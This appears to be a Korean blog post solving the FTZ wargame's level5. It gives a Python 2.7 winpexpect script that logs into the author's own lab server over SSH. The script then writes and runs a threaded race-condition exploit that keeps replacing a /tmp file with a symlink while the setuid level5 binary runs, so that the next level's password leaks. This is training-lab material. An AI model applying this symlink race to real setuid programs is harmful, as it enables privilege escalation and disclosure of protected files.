Python/2.7 information

winpexpect ( ftz level5 )

qkqhxla1 2014. 12. 27. 15:30

레이스 컨디션이라 생각하고 풀어볼시 파이썬 소스..


winpexpect라는걸 찾았는데 ssh로 접속해주는 라이브러리이다.


ssh로까지 자동 접속 가능하면 나의 ftz서버에 자동으로 파일 생성해서 실행까지 시킬 수 있다.


사용하다 보면 느끼는건데 winpexpect의 spawn은 내 cmd창 내부에서 또다른 하나의 cmd창을


만들어서 거기서 명령어를 실행시킨다는 그런 느낌? 써보면 되게 신기함. 


여기에 정리 잘 해놓으심. 참고


import sys,winpexpect
child = winpexpect.winspawn('cmd.exe')
child.logfile = sys.stdout
child.expect('>')
child.sendline('C:\\Users\\Ko\\plink level5@192.168.253.128') #내 ftz서버로 ssh접속한다.
child.expect('[P|p]assword: ')
child.sendline('what is your name?')
child.expect('\$ ')
child.sendline('cd tmp')
child.expect('\$ ')
child.sendline("""
echo '#!/usr/bin/python
import os
import threading
def exec_level5():
    for i in range(10):
        os.system("/usr/bin/level5 &")
        print "--Execute level5--"
def create_syms():
    os.system("touch /tmp/lvl6pass.txt")
    for i in range(10):
        os.system("ln -s /tmp/lvl6pass.txt /tmp/level5.tmp &")
        print "--Successfully create link !!!--"
        os.system("cat /tmp/lvl6pass.txt")
th1 = threading.Thread(target=exec_level5,args=())
th2 = threading.Thread(target=create_syms,args=())
th1.start()
th2.start()
th1.join()
th2.join()' > level5.py
""")
child.expect('\$ ')
child.sendline('chmod 777 level5.py')
child.expect('\$ ')
child.sendline('./level5.py')
child.interact()







'Python > 2.7 information' 카테고리의 다른 글

python win32api  (0) 2015.01.13
유니코드, christmasctf a letter to her 500, los xavis  (0) 2015.01.02
pytesser모듈.  (0) 2014.12.19
Tkinter(python gui)  (0) 2014.11.22
정규표현식 (파싱)  (0) 2014.11.20